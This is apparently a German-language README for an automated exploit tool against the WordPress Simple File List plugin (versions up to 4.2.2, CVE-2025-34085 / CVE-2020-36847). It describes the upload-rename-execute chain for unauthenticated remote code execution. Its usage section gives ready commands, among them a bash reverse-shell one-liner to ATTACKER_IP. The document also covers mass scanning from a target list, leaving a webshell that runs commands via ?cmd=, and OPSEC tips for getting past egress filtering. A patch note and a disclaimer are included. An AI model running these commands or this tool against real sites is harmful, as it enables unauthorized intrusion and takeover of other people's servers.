CVE-2025-34085 — WordPress Simple File List Nicht authentifizierte RCE

Ein automatisierter Exploit für CVE-2025-34085 (Duplikat von CVE-2020-36847), eine kritische, nicht authentifizierte Remote-Codeausführungs-Sicherheitslücke im WordPress Simple File List Plugin Versionen ≤ 4.2.2.

Hinweis: CVE-2025-34085 wurde von MITRE als Duplikat von CVE-2020-36847 abgelehnt. Die Sicherheitslücke ist real und in Version 4.2.3 behoben. Beide CVE-IDs beziehen sich auf das gleiche zugrundeliegende Problem.

Zusammenfassung der Sicherheitslücke

Funktionsweise

1. Upload — Ein PHP-Payload wird als .png-Datei getarnt über den Upload-Endpunkt des Plugins (ee-upload-engine.php) hochgeladen. Die Upload-Engine validiert Erweiterungen, akzeptiert aber Bilddateien.

2. Umbenennen — Die Umbenennungsfunktion des Plugins (ee-file-engine.php) erzwingt keine Erweiterungsbeschränkungen. Der Angreifer benennt die .png in .php (oder .phtml, .php5, .php3) um.

3. Ausführen — Die umbenannte PHP-Datei ist nun im Uploads-Verzeichnis unter /wp-content/uploads/simple-file-list/ zugänglich und ausführbar, was dem Angreifer die Ausführung beliebiger Befehle ermöglicht.

Anforderungen

pip install requests colorama

Python 3.6+

Verwendung

Einzelnes Ziel

python3 CVE-2025-34085.py -u http://target.com --cmd "id"

Einzelnes Ziel mit Inline-Befehl (kein ?cmd=-Parameter)

python3 CVE-2025-34085.py -u http://target.com --cmd "bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1'" --inline

Massen-Scanning

Erstellen Sie eine targets.txt-Datei mit einer URL pro Zeile:

http://target1.com
http://target2.com
https://target3.com

python3 CVE-2025-34085.py --cmd "id"

Argumente

Tipp: Verwenden Sie --inline, wenn Sie eine Reverse-Shell benötigen oder wenn das Ziel eine Query-String-Filterung hat. Ohne --inline hinterlässt der Exploit eine Webshell, die Befehle über ?cmd= akzeptiert.

Ausgabe

Erfolgreiche Exploits werden in vuln.txt protokolliert:

http://target.com | http://target.com/wp-content/uploads/simple-file-list/shell.php | uid=33(www-data) gid=33(www-data)

OPSEC-Hinweise für OSCP

• Der Exploit lädt eine PHP-Datei auf die Festplatte hoch – dies wird Artefakte hinterlassen
• Die Webshell bleibt unter /wp-content/uploads/simple-file-list/<random>.php bestehen
• Erfolgreiche Uploads werden lokal in vuln.txt protokolliert – nützlich für Ihren Bericht
• Für die Prüfung verwenden Sie --inline mit einer Reverse-Shell, um eine persistente Webshell mit ?cmd= zu vermeiden
• Wenn das Ziel ausgehende Ports blockiert, versuchen Sie häufig erlaubte Ports (80, 443, 53)

Referenzen

• NVD — CVE-2025-34085
• NVD — CVE-2020-36847
• Wordfence-Hinweis
• Metasploit-Modul
• Plugin-Änderungsprotokoll (Patch)
• Exploit-DB #48979
• Original-PoC von coiffeur — Exploit-DB #48349

Behebung

Aktualisieren Sie das Simple File List Plugin auf Version 4.2.3 oder höher.

Haftungsausschluss

Dieses Tool ist ausschließlich für autorisierte Penetrationstests und zu Bildungszwecken bestimmt. Unautorisierter Zugriff auf Computersysteme ist illegal. Holen Sie vor dem Testen stets die entsprechende Genehmigung ein.

Danksagungen

• Ursprüngliche Entdeckung der Sicherheitslücke: coiffeur
• Ursprüngliches Exploit-Skript: 0xgh057r3c0n, B1ack4sh (Ashwesker)
• Betreut von: 0xgunrunner